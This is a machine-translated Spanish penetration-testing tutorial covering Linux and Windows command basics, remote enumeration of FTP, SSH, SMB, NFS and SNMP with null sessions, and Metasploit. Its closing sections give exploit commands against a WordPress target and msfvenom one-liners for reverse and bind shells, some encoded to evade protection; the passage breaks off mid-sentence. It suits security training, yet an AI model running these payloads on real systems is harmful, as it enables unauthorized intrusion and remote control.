Está en la página 1de 136

Conceptos básicos de Parrot OS 1.

Sistema de archivos y comandos básicos


Introducción
En este libro, aprenderá el sistema de archivos de Linux y los comandos
básicos, será bueno si los aprende prácticamente en su sistema.

Parrot OS se adhiere al estándar de jerarquía del sistema de archivos. El


estándar de jerarquía del sistema de archivos define la estructura y el
contenido del directorio en las distribuciones de Linux.

Directorios y descripción de loros

A continuación se muestran algunos directorios importantes de Parrot


(Linux).
/ - Su directorio raíz.
/ bin: programas básicos disponibles para todos los usuarios.
/ sbin: contiene ejecutables binarios solo para usuarios root.
/ dev: contiene controladores de dispositivo.
/ etc: contiene archivos de configuración.
/ lib: contiene archivos de biblioteca compartidos.
/ tmp: archivos temporales que normalmente se eliminan al arrancar.
/ usr / bin: contiene los binarios de los usuarios.
/ usr / sbin: contiene binarios de usuario root o binarios del sistema.
/ usr / share: contiene soporte para aplicaciones y archivos de datos
/ home: directorio de inicio del usuario.
~ - Directorio de trabajo predeterminado del usuario.

También hay muchos otros directorios, pero solo mencioné los que
usamos principalmente.
Comandos básicos
cd - para cambiar el directorio (uso: cd dirname)
ls - lista de archivos (uso: ls / home, ls)
ls -la -> para listar archivos en detalles
pwd: imprime el directorio de trabajo (uso: pwd)
cat: imprime el contenido del archivo (uso: nombre de archivo cat)
más: también imprime el contenido del archivo (uso: más nombre de
archivo)
cp - para copiar archivos (uso: cp file / dir / newname)
mv - para mover archivos (mv file / dir / newname
mkdir - crear directorio (uso: - hacker mkdir)
rm - eliminar archivo (uso: rm hacker.txt)
rmdir - eliminar directorio (uso: hacker rmdir)
touch: crea un archivo en blanco (uso: touch hacker.txt)
whereis: muestra la ubicación del archivo (uso: whereis cat)
localizar - buscar archivos por nombre (uso: localizar ping)
man - manual de comandos del sistema muy útil (uso: man
aquí hay muchos comandos por favor échale un vistazo
Comandos y utilidades de red básicos

ping
arp
telnet
ifconfig
iptables
netstat
route
traceroute
ss

Úselos uno por uno, lea el manual usando el comando "man"

Comandos y utilidades del sistema básico

whomai
hostname
w
lslogin
sudo
dpkg
ps
users
crontab
less
more
apt
service
free
top
mem
grep
awk
find
lsof
last
kill
uname
watch
df
dd

Terminal

"$: Especifica, estás en el caparazón de usuario".


"#: Especifica, estás en la raíz".

comando chown

El comando chown cambia la propiedad del usuario y / o grupo de un


archivo dado.
chown owner-user file
chown owner-user:owner-group file
chown owner-user:owner-group directory
chown options owner-user:owner-group file

comando chmod

Para cambiar los permisos de acceso, cambie el modo.

podemos editar permisos usando el comando chmod


$ chmod permissions file

Hay tres tipos de usuarios de Linux


owner

group

world

Hay tres tipos de permisos que Linux permite para cada archivo.
read(4 or r)

write(2 or w)

execute(1 or x)
¡¡Así que trata de pensar en esto !!
7 = 4+2+1 (read/write/execute)
6 = 4+2 (read/write)
5 = 4+1 (read/execute)
4 = 4 (read)
3 = 2+1 (write/execute)
2 = 2 (write)
1 = 1 (execute)
Ejemplo:
chmod 777 hacker.sh
chmod 600 hacker.sh

Conceptos básicos de Windows 1.1


Directorio de Windows, Registro y comandos básicos
Introducción
En esta parte, aprenderemos el sistema de Windows y los comandos
básicos y cómo navegar e interactuar con ellos usando el terminal de
comandos de Windows.

Espero que todos estén familiarizados con Windows y cómo usarlo


usando GUI, ahora también aprenderemos su uso de la línea de
comandos. El directorio más alto de Windows o el directorio raíz se
especifica como unidad: \ pero generalmente es c: \, ‘'es el separador de
directorios en el enlace de Windows’ / ’en Linux, pero podemos usar
ambos en la línea de comandos de Windows
Los siguientes son los directorios útiles del directorio raíz de Windows:

\ perflogs: puede contener registros de rendimiento de Windows, pero


en una configuración predeterminada, está vacío.

\ Archivos de programa: todos los programas se instalan en esta


carpeta según la arquitectura del sistema (x86 \ x64).

\ Archivos de programa (x86): en la arquitectura de 64 bits, todos los


programas de 32 bits se instalan en esta carpeta.

\ Usuarios: esta carpeta contiene una subcarpeta para cada usuario que
haya iniciado sesión en el sistema al menos una vez

\ Public: esta carpeta sirve como búfer para que los usuarios de una
computadora compartan archivos. De forma predeterminada, esta
carpeta es accesible para todos los usuarios que pueden iniciar sesión
en la computadora.
\ System, \ System32, \ SysWOW64: estas carpetas almacenan archivos
de biblioteca de vínculos dinámicos (DLL) que implementan las
características principales de Windows y la API de Windows. Cada vez
que un programa le pide a Windows que cargue un archivo DLL y no
especifica una ruta, estas carpetas se buscan después de buscar la
carpeta del programa.
Registro de Windows
El Registro es una base de datos que se utiliza para almacenar
configuraciones y opciones para los sistemas Windows. Contiene
información y configuraciones para todo el hardware, software,
usuarios y preferencias de la PC. Siempre que un usuario realiza
cambios en la configuración del Panel de control, Asociaciones de
archivos, Políticas del sistema o software instalado, los cambios se
reflejan y almacenan en el Registro.
Comandos de navegación básicos de Windows
cd / chdir: cambiar de directorio.

copy: este comando copia un archivo especificado en una ubicación


determinada.

eraser / del: borra un archivo o un número de archivos.

dir: esto muestra los archivos actuales y la carpeta directamente


accesible desde el directorio actual o el directorio especificado después
del comando.

find: busca un archivo específico para una determinada cadena. ex


buscar "hacker" hacker.txt

md / mkdir: este comando crea un nuevo directorio.

move: Mover es un comando de copiar / pegar que mueve un archivo


de una ubicación a otra.
popd / pushd: permite al usuario cambiar rápidamente entre rutas de
archivo.

ren / rename: este comando se utiliza para cambiar el nombre de los


directorios.

rd / rmdir: esto permite al usuario eliminar un directorio.

start: permite al usuario iniciar un programa (siempre que el programa


sea un archivo ejecutable, por lotes o de comando).

tree: muestra un árbol de archivos gráfico de la ruta de archivo


especificada, o la unidad actual si no se especifica ninguna ruta.

more / type: para ver el archivo como texto en la línea de comandos,


también podemos usarlo para editar o agregar texto como cat. ex.
más> hacker.txt, más »hacker.txt, escriba> hacker.txt, escriba»
hacker.txt.
Conceptos básicos de Windows 1.2
Comandos de redes y sistema de Windows
Introducción
aprenderemos algunos comandos del sistema y redes de Windows que
usaremos más adelante.
Comandos

1.whoami: muestra su usuario actual.

2.whoami / all: enumera el usuario actual, sid, los grupos de los que el
usuario actual es miembro y sus sids, así como el nivel de privilegio
actual.

3.set: Mostrará todas las variables de entorno como USERDOMAIN,


USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER,
COMPUTERNAME, APPDATA y ALLUSERPROFILE
4.systeminfo: mostrará la información sobre el sistema, incluido el
nombre de host, el dominio, el servidor de inicio de sesión, la zona
horaria, la configuración de la interfaz de red y las revisiones instaladas.

6.qwinsta: mostrará información sobre la sesión RDP en el host.

7.schtasks / at: enumera todas las tareas programadas actualmente


para las que su usuario actual tiene acceso.

8.netstart / sc: mostrará una lista de servicios.

9. lista de tareas: enumerará todas las tareas de Windows

10.taskkill: puede matar cualquier proceso por pid o nombre de tarea

11.netstat: Esto mostrará información de conexiones de red, tablas de


enrutamiento, etc.

12.ipconfig / all: mostrará todo sobre la configuración de red en el


sistema.

13.wmic: proporciona una interfaz de línea de comandos para Windows


Management Instrumentation (WMI).

14 net: Este comando se utiliza para realizar operaciones en usuarios,


grupos, dominios, etc.

La enumeración es la clave del éxito


Enfoques de Linux
aprenderemos algunas herramientas y técnicas para enumerar la red
de destino de forma remota desde nuestro Parrot OS.
Enumeración
La enumeración es el proceso para obtener información más detallada
sobre los servicios de destino, configuraciones erróneas de seguridad,
nombres de cuentas, recursos compartidos públicos y más mediante la
conexión remota a la red de destino
Servicios que revelan información
FTP: el protocolo de transferencia de archivos es un protocolo de capa 7
que se utiliza para transferir archivos desde y hacia el servidor por un
usuario autenticado.

SSH: Secure Shell es un protocolo de inicio de sesión remoto que se


utiliza para iniciar sesión de forma segura en una computadora desde
otra computadora de forma remota y ejecutar comandos.

Telnet: el protocolo Telnet se utiliza para ejecutar comandos en sistemas


conectados a la red de forma remota.

SMTP: el protocolo de transferencia de correo simple es un protocolo de


transferencia de correo electrónico.

DNS: el sistema de nombres de dominio resuelve los nombres de los


sitios de Internet con sus direcciones IP subyacentes.

HTTP / S: los servidores web utilizan HTTP / HTTP para recibir solicitudes
de los navegadores de los clientes.

LDAP: el protocolo ligero de acceso a directorios (LDAP) es un conjunto


de protocolos abiertos que se utilizan para acceder a información
almacenada de forma centralizada a través de una red.

Servidores SQL: SQL Server es un sistema de administración de bases de


datos relacionales desarrollado por Microsoft.

NFS - Network File System es un protocolo de intercambio de archivos


basado en RPC que se encuentra en los sistemas Linux y que se utiliza
para proporcionar acceso a recursos compartidos.
IPSec: la seguridad IP es una colección de estándares de seguridad que
permiten a las computadoras en una red TCP / IP cifrar y firmar
digitalmente sus transmisiones.

NetBIOS: NetBIOS (sistema básico de entrada / salida de red)


proporciona servicios de capa de sesión a grupos de trabajo de
Windows, es decir, redes que no son de Active Directory.

SNMP - Simple Network Management Protocol es un protocolo


estándar de Internet para recopilar y organizar información sobre
dispositivos administrados en redes IP y para modificar esa información
para cambiar el comportamiento del dispositivo.

Samba: una implementación basada en Linux de los protocolos SMB /


CIFS, proporciona servicios de impresión y uso compartido de archivos
para clientes de Windows dentro de un entorno.

SMB: SMB funciona a través de un enfoque cliente-servidor, donde un


cliente realiza solicitudes específicas y el servidor responde en
consecuencia. El protocolo SMB se ocupa específicamente del acceso a
los sistemas de archivos, de modo que los clientes pueden realizar
solicitudes a un servidor de archivos.

RPC: la llamada a procedimiento remoto es una técnica de


comunicación entre procesos que se utiliza para aplicaciones basadas
en cliente-servidor.
Escanee la red con Nmap y Netdiscover para abrir puertos y servicios,
ahora tenemos que enumerarlos.
Para escanear detallado, syn, todos los puertos, todos los scripts, sin
ping
nmap -vv -A -sC -sS -T 4 -p- <targetIP> -Pn
Para escanear verbose, syn, UDP, version, denne DNS rsolution
# nmap -v -sS -sU -sV -n 192.168.0.1/24
** netdiscover ** es una herramienta de reconocimiento de ARP activa
/ pasiva, desarrollada inicialmente para obtener información sobre
redes inalámbricas sin servidores DHCP en escenarios de Wardriving.
Uso
netdiscover -r 192.168.0.1/24 <target ip range>
Si el puerto 80/443 se está ejecutando, puede adivinar el usuario del
servidor desde allí, que puede usar el inicio de sesión SSH, FTP, etc.

Enumeración FTP
nmap -A -p21 <targetIP>
Primero verifique el inicio de sesión ftp anónimo en el servidor, si el inicio
de sesión FTP anónimo está habilitado en el servidor, luego conéctese
con el siguiente comando.

ftp <targetIP>

Y lo conectará a la red de destino, puede realizar cualquier operación de


FTP usando comandos de FTP,

Para comprobar los comandos de FTP después de conectarse al servidor


de destino
# help

mostrará comandos que puede utilizar para realizar acciones.


Usando Nmap para enumerar FTP
comprobar los scripts de FTP en nmap
# ls /usr/share/nmap/scripts | grep ftp

Hay varios scripts de enumeración FTP para usarlos juntos en nmap


Uso
# nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-
backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21
<targetIP>
Enumeración SSH
nmap -A -p22 <targetIP>

Después de encontrar el puerto ssh abierto, podemos enumerarlo para


los usuarios de ssh que utilizan scripts de Nmap

puedes intentar conectar ssh


ssh <targetIP> 22
Puede ejecutar los siguientes scripts para enumerar ssh según sus
requisitos.
# ls /usr/share/nmap/scripts | grep ssh

ssh2-enum-algos.nse

ssh-auth-methods.nse

ssh-brute.nse

ssh-hostkey.nse

ssh-publickey-acceptance.nse

ssh-run.nse

sshv1.nse

Enumeración SMTP
nmap -A -p25 <targetIP>

Verifique los scripts de nmap para que se ejecuten en el host de destino


ls /usr/share/nmap/scripts | grep ftp
correr todos juntos
# nmap --script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-
4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p25 targetIP

Enumeración NFS (RPC)

Vamos a enumerarlo
# nmap -p2049 -A <targetIP>

comprobar si hay scripts de nmap


# ls /usr/share/nmap/scripts | grep nfs

nfs-ls.nse

nfs-showmount.nse

nfs-statfs.nse

Para encontrar el resultado rico de la enumeración nfs


nmap --script nfs-ls,nfs-showmount,nfs-statfs <targetIP>

Para interactuar con las exportaciones nfs disponibles públicamente,


también podemos showmount.

showmount -e <targetIP>

/home/server/ *

Para montar las exportaciones nfs disponibles

Podemos crear un directorio separado en nuestro sistema.


mkdir -p /mnt/home/server
Ahora monte nfs en este directorio
# mount -t nfs <NFS_TargetIP>:/home/server/export /mnt/home/server
-o nolock

Y ahora puede navegar por las exportaciones del servidor en su sistema,


simplemente verifique el directorio que creó.

Enumerar rpcbind
rpcinfo -p <targetIP>

Enumeración de samba

Podemos encontrar información sensible si enumeramos samba


correctamente.
Puede encontrar Samba escuchando en los puertos NetBIOS.
Atrapemos Samba
# nmap -A -p135,137,138,139,445 <targetIP> --open

Después de eso, podemos enumerar los recursos compartidos de smb


usando las herramientas smbclient y smbmap en Parrot OS

# smbclient -L <targetIP>
Para obtener información más detallada, utilice smbmap
# smbmap -H <targetIP>

Después de encontrar compartir, podemos interactuar fácilmente con la


herramienta smbclient

# smbclient \\\\<targetIP>\\<sharename>
Después de conectarse correctamente, use el comando "ayuda" para
enumerar los comandos de navegación e intente obtener más
información de esos recursos compartidos.

Uso
# enum4linux -a <targetIP>

Enumeración SMTP
Obtenga información SMTP usando telnet y nc en la ejecución del
servidor de destino smtp.
# nc <targetIP> 25
O
# telnet <targetIP> 25
La enumeración es la clave del éxito

Enfoques de Windows
Introducción
aprenderemos los enfoques de enumeración de Windows, las
herramientas para usar y las técnicas para implementar.

Enumeración NetBIOS

NetBIOS permite que una aplicación en diferentes sistemas informáticos


se comunique entre sí en una red de área local. Permite a una
computadora compartir impresoras y archivos, llamadas a
procedimientos remotos, intercambiar mensajes, etc. Esto puede revelar
mucha información de la que esperábamos.

Nbtscan
nbtscan es una herramienta que se utiliza para escanear redes en busca
de información de nombres NetBIOS.
Uso
# nbtscan -v <TargetIP>
En Windows también hay una herramienta llamada nbtstat, también
puedes usarla para enumerar.
# nbtstat -A <target_IP_Address>

El resultado mostrará el nombre, servicio, tipo. Utilice la tabla de sufijos


de NetBIOS para averiguar qué servicio ofrecen.

Enumeración de SMB

Al igual que la enumeración de samba de Linux, tenemos que usar


smbclient y smbmap.
uso:
# smbclient -L <Target IP>
Mostrará algunos recursos compartidos de smb, ¿cómo interactuar con
ellos?

supongamos que encontraste algunas acciones como


Public

IPC$

Admin$

C$

hacker
smbmap -h para obtener información más detallada

Interactuemos con IPC $


# smbclient \\\\<targetIP>\\IPC$ -U

también podemos usar el nombre de usuario con '-U' ''


puedes adivinar el nombre de usuario del sitio web

Monte recursos compartidos SMB usando mount en su carpeta / home


/ share
sudo mount.cifs //<targetIP>/C /home/share/ user=,pass=

o puede usar sus ventanas para interactuar con recursos compartidos


de smb
C:\> net use \\<TargetIP>\IPC$ "" /u:""

También puede utilizar varias herramientas para enumerar NetBIOS

enum4linux
# enum4linux -a <TargetIP>

Wininfo
# winfo <targetIP> -n

-n le dice a la herramienta que establezca una sesión nula antes de


intentar volcar la información.

Hay otra herramienta basada en la interfaz gráfica de usuario de


Windows para enumerar dumpsec, puede instalarlo para usar

Rpcclient

rpcclient: rpcclient es una utilidad desarrollada inicialmente para probar


la funcionalidad MS-RPC en SMB.
# rpcclient -N -U "" <targetIP>
-N: no solicita la contraseña -U: establece el nombre de usuario ("" para
ninguno)
Después de conectar
rpcclient $> enum

obtendrá varios comandos para ejecutar.

Para enumerar usuarios


# rpcclient $> enumdomusers

esto le dirá a todos los usuarios en la red de destino

Hay muchos más comandos de rpcclient que se utilizan para interactuar


con el objetivo.

enumalsgroups , srvinfo , lookupnames, queryuser, enumprivs .

Enumeración SNMP
SNMP significa Protocolo simple de administración de red y se utiliza
para intercambiar información de administración entre dispositivos de
red. Incluso puede usar SNMP para configurar el enrutador y verificar su
estado.

scripts nmap para la enumeración snmp


# ls /usr/share/nmap/scripts | grep snmp

snmp-brute.nse

snmp-hh3c-logins.nse

snmp-info.nse

snmp-interfaces.nse
snmp-ios-config.nse

snmp-netstat.nse

snmp-processes.nse

snmp-sysdescr.nse

snmp-win32-services.nse

snmp-win32-shares.nse

snmp-win32-software.nse

snmp-win32-users.nse

uso
# nmap -A -p <TargetIP>
nmap -p161 --script snmp-info,snmp-interfaces,snmp-netstat,snmp-
brute <TargetIP>

Otra herramienta para enumerar

snmpcheck

snmpcheck es un programa que verifica el estado SNMP de los hosts


especificados

uso:
$ man snmpcheck
snmpcheck -t <TargetIP> -c public
snmpwalk

snmpwalk es una aplicación SNMP que utiliza solicitudes SNMP


GETNEXT para consultar una entidad de red para obtener un árbol de
información.

uso:
# man snmpwalk
# snmpwalk -v 2c <TargetIP> -c public

Metasploit framework
discutiremos un marco de prueba de penetración llamado Metasploit-
Framework.
# whatis msfconsole
# whatis msfvenom
# man msfconsole

Ejecute los comandos anteriores en su Parrot OS Terminal.

¡¡¡Presentamos Metasploit-Framework !!!

Metasploit-Framework es el marco de prueba de lápiz de código abierto


para todo uso con todo tipo de colección de exploits, shellcodes,
herramientas de fuzzing, cargas útiles, codificadores, etc.

Es un paquete completo de arsenal de pruebas de penetración.

También hay una versión pro paga disponible para Metasploit-


Framework que viene con muchas más funciones.

Metasploit-framework ya viene instalado en Parrot OS, puedes


ejecutarlo con el comando 'msfconsole' usando la terminal.
También hay una versión GUI de Metasploit-framework llamada
'Armitage' que también viene con Parrot OS, puedes ejecutarla usando
el comando 'armitage' en la terminal.

Características de Metasploit
Es fácil de usar.
Viene con más de 2014 exploits que incluyen 0 días, 1097 auxiliares, 343
módulos de publicación, 566 cargas útiles, etc. que se actualizan
regularmente.
Cualquiera puede desarrollar sus exploits, auxiliares de carga útil y
usarlo con metasploit fácilmente.
Proporciona una buena interfaz entre el objetivo y el usuario.
Tiene algunos atajos que son muy útiles durante la prueba de
penetración.

¿Qué puedes hackear con metasploit-framework?

Con el marco de metaspploit puede piratear redes, sitios web, teléfonos


móviles Android, teléfonos móviles iOS, sistemas Linux, sistemas
Windows, sistemas MAC, IOT y más. Es un arsenal versátil en cada
juego de herramientas pentester.

¿Qué es msfvenom?

Msfvenom es una combinación de Msfpayload y Msfencode, que coloca


ambas herramientas en una única instancia de Framework.

Para saber sobre msfvenom


# man msfvenom

Para enumerar la biblioteca msfvenom


# msfvenom -l
¿Qué es metasploit-meterpreter?

Meterpreter es una carga útil avanzada y extensible dinámicamente


que utiliza etapas de inyección de DLL en memoria y se extiende a través
de la red en tiempo de ejecución. Se comunica a través del zócalo del
stager y proporciona una API Ruby completa del lado del cliente. Cuenta
con historial de comandos, finalización de pestañas, canales y más.

Módulos Metasploit

Casi toda su interacción con Metasploit será a través de sus muchos


módulos, que busca en dos ubicaciones. El primero es la tienda del
módulo principal en / usr / share / metasploit-framework / modules / y
el segundo, que es donde almacenará los módulos personalizados, está
en su directorio de inicio en ~ / .msf4 / modules /.

Puede comprobar los módulos de Metasploit usted mismo.


# ls /usr/share/metasploit-framework/modules

auxiliary encoders evasion exploits nops payloads post

Todos están organizados en directorios separados, también puede


consultarlos uno por uno.

Auxiliar

Puede encontrar cualquier tipo de escáneres de puertos, fuzzers, sniffers


y más en módulos auxiliares.
# ls /usr/share/metasploit-framework/modules/auxiliary

admin client docx fileformat parser server sqli


analyze cloud dos fuzzers pdf sniffer voip
bnat crawler example.rb gather scanner spoof vsploit

Payloads, Encoders, Nops

Payloads consist of code that runs remotely, while encoders ensure that
payloads make it to their destination intact. Nops keep the payload sizes
consistent across exploit attempts.
# ls /usr/share/metasploit-framework/modules/payloads/

singles stagers stages

# ls /usr/share/metasploit-framework/modules/encoders/

cmd generic mipsbe mipsle php ppc ruby sparc x64 x86

# ls /usr/share/metasploit-framework/modules/nops/

aarch64 armle mipsbe php ppc sparc tty x64 x86

Exploits

Los exploits utilizaron cargas útiles para explotar el sistema objetivo y


obtener un caparazón meterpreter.
# ls /usr/share/metasploit-framework/modules/exploits/

aix bsdi firefox irix multi solaris


android dialup freebsd linux netware unix
apple_ios example.rb hpux mainframe osx windows

post
Estos son módulos posteriores a la explotación que pueden recopilar
rápidamente información valiosa sobre un objetivo, ayudan a escalar
privilegios, datos confidenciales, credenciales, etc., fácilmente.
#ls /usr/share/metasploit-framework/modules/post

aix apple_ios bsd firefox juniper multi solaris


android brocade cisco hardware linux osx windows

veamos en los directorios de Windows


ls /usr/share/metasploit-framework/modules/post/windows

capture escalate gather manage recon wlan

** Y verifique algunos módulos ‘post/gather modules’ y ‘post/escalate’


modules **
ls /usr/share/metasploit-framework/modules/post/windows/gather |
head
ad_to_sqlite.rb
arp_scanner.rb
bitcoin_jacker.rb
bitlocker_fvek.rb
bloodhound.rb
cachedump.rb
checkvm.rb
credentials
dnscache_dump.rb
dumplinks.rb

# ls /usr/share/metasploit-framework/modules/post/windows/escalate
| head

droplnk.rb
getsystem.rb
golden_ticket.rb
ms10_073_kbdlayout.rb
screen_unlock.rb
unmarshal_cmd_exec.rb

Hemos aprendido los fundamentos del marco de metasploit.


Analicemos algunos enfoques para usar el marco de metasploit.
Los enfoques son en su mayoría los mismos que realizamos pentesting
manual en nuestra terminal.

Escanee y enumere el objetivo utilizando módulos auxiliares de


metasploit.

Seleccione un exploit en función de los hallazgos y de nuestro alcance


objetivo.

Utilice cargas útiles en el sistema de destino para obtener un acceso


exitoso al destino.

Codifique la carga útil / explotación arbitraria, si el sistema de destino


está ejecutando alguna protección.

Después de acceder con éxito al sistema de destino, recopile datos


confidenciales. escalar privilegios y eliminar registros

Estos son algunos fundamentos de Metasploit-Framework


Metasploit framework

discutiremos y usaremos algunos módulos para aprender el uso del


marco de Metasploit.

Comandos e interacción de Metasploit

Inicie msfconsole y siga los siguientes comandos


# msfconsole
Ahora estás en el patio de recreo de metasploit-framework.
Para conocer todos los comandos sobre metasploit-framework,
simplemente ejecute "help" en msfconsole

msf5 > help

Y el resultado será asombroso, le sugiero que lea todo desde allí


porque los usaremos más adelante.

Mencionando algunos comandos importantes:

Core Commands
=============

Command Description
------- -----------
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
quit Exit the console
repeat Repeat a list of commands
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information
about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
tips Show a list of useful productivity tips
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version
numbers
Module Commands
===============

Command Description
------- -----------
advanced Displays advanced options for one or more
modules
back Move back from the current context
clearm Clear the module stack
info Displays information about one or more modules
listm List the module stack
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it
active
previous Sets the previously loaded module as the current
module
pushm Pushes the active or list of modules onto the
module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Interact with a module by name or search term/index
Job Commands
============

Command Description
------- -----------
handler Start a payload handler as job
jobs Displays and manages jobs
kill Kill a job
rename_job Rename a job

Resource Script Commands


========================

Command Description
------- -----------
makerc Save commands entered since start to a file
resource Run the commands stored in a file

Database Backend Commands


=========================

Command Description
------- -----------
analyze Analyze database information about a specific
address or address range
db_connect Connect to an existing data service
db_disconnect Disconnect from the current data service
db_export Export a file containing the contents of the
database
db_import Import a scan result file (filetype will be auto-
detected)
db_nmap Executes nmap and records the output
automatically
db_rebuild_cache Rebuilds the database-stored module cache
(deprecated)
db_remove Remove the saved data service entry
db_save Save the current data service connection as the
default to reconnect on startup
db_status Show the current data service status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces

Credentials Backend Commands


============================
Command Description
------- -----------
creds List all credentials in the database
Developer Commands
==================

Command Description
------- -----------
edit Edit the current module or a file with the preferred
editor
irb Open an interactive Ruby shell in the current context
log Display framework.log paged to the end if possible
pry Open the Pry debugger on the current module or
Framework
reload_lib Reload Ruby library files from specified paths

Examples

Terminate the first sessions:

sessions -k 1

Stop some extra running jobs:


jobs -k 2-6,7,8,11..15

Check a set of IP addresses:

check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255

Target a set of IPv6 hosts:

set RHOSTS fe80::3990:0000/110, ::1-::f0f0


Target a block from a resolved domain name:

set RHOSTS www.example.test/24

Léalos y utilícelos para aprender.


Escanear usando metasploit
Escaneemos puertos usando metasploit
# msfconsole
msf5 > search portscan

Matching Modules
================
# Name Disclosure Date Rank Check
Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access
normal No Wordpress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan
normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal
No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce
normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal
No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal
No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal
No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner
normal No SAPRouter Port Scanner

usemos el puerto TCP ACK Firewall Scanner para escanear la red


de destino
msf > use auxiliary/scanner/portscan/ack

msf5 auxiliary(scanner/portscan/ack) > show options


Module options (auxiliary/scanner/portscan/ack):

Name Current Setting Required Description


---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per
set
DELAY 0 yes The delay between connections, per
thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum
value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-
900)
RHOSTS yes The target host(s), range CIDR
identifier, or hosts file with syntax 'file:<path>'
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
(max one per host)
TIMEOUT 500 yes The reply read timeout in
milliseconds
Ahora tenemos que configurar las cosas necesarias para
escanear nuestro objetivo
msf5 auxiliary(scanner/portscan/ack) > set INTERFACE eth0
INTERFACE => eth0
msf5 auxiliary(scanner/portscan/ack) > set PORTS 80
PORTS => 80
msf5 auxiliary(scanner/portscan/ack) > set RHOSTS
192.168.1.0/12
RHOSTS => 192.168.1.0/24
msf5 auxiliary(scanner/portscan/ack) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/ack) > run

Ahora esto le dará el resultado del escaneo


Explotación objetivo con metasploit
Ejecute "msfconsole"
# msfconsole

msf5 > show exploits


Esto mostrará una lista de todos los exploits en la base de datos,
elija cualquiera para ver el uso.
Por ejemplo, encontré una vulnerabilidad de WordPress en un
servidor Unix, llamada Vulnerabilidad de carga de archivos de
tema de plataforma.
msf5 > use exploit/unix/webapp/wp_platform_exec

msf5 exploit(unix/webapp/wp_platform_exec) > show options

msf5 exploit(unix/webapp/wp_platform_exec) > show options

Module options (exploit/unix/webapp/wp_platform_exec):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format


type:host:port[,type:host:port][...]

RHOSTS 10.10.10.35 yes The target host(s), range CIDR


identifier, or hosts file with syntax 'file:<path>'

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing


connections

TARGETURI / yes The base path to the wordpress


application

VHOST no HTTP server virtual host

Exploit target:
Id Name

-- ----

0 platform < 1.4.4, platform pro < 1.6.2

Ahora establezca exploit

msf5 exploit(unix/webapp/wp_platform_exec) > set RHOST


10.10.10.35

RHOST => 10.10.10.35

msf5 exploit(unix/webapp/wp_platform_exec) > set RPORT 80

RPORT => 80

msf5 exploit(unix/webapp/wp_platform_exec) > set TARGETURI


10.10.10.35/wp_plugin

TARGETURI => 10.10.10.35/wp_plugin

msf5 exploit(unix/webapp/wp_platform_exec) > run

[*] Started reverse TCP handler on 192.168.43.209:4444

[*] Uploading payload

Y esto explotará la vulnerabilidad en el objetivo y obtendrá el shell


meterpreter en su marco de metasploit.
Msfvenom

Es mi favorito personal, lo explicaré para usarlo a mi manera.

msfvenom -l

Creemos el shell TCP inverso de Windows

Inicie su terminal y ejecute el siguiente comando

msfvenom -p windows/shell/reverse_tcp LHOST=<Local IP


Address> LPORT=<Local Port> -f exe > hackershell.exe

Para crear shell TCP inverso de ventanas codificadas

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai


-i 3 -f exe > enchackershell.exe

Para crear linux Bind Shell

msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address>


LPORT=<Local Port> -f elf > hacker.elf

o crear Linux Meterpreter Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP


Address> LPORT=<Local Port> -f elf > hacker.elf
Para crear Linux Bind Meterpreter Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP


Address> LPORT=<Local Port> -f elf > hacker.elf

Para crear PHP Meterpreter Reverse TCP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Local IP


Address> LPORT=<Local Port> -f raw > hackershell.php

cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\n’ > shell.php &&
pbpaste >> shell.php

Para crear ASP Meterpreter Reverse TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP


Address> LPORT=<Local Port> -f asp > shell.asp

Para crear JSP Java Meterpreter Reverse TCP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP


Address> LPORT=<Local Port> -f raw > shell.jsp

Para crear Python Reverse Shell

msfvenom -p cmd/unix/reverse_python LHOST=<Local IP Address>


LPORT=<Local Port> -f raw > shell.py
Para crear Bash Unix Reverse Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address>


LPORT=<Local Port> -f raw > shell.sh

Para usarlos en el sistema de destino, primero cargue una carga


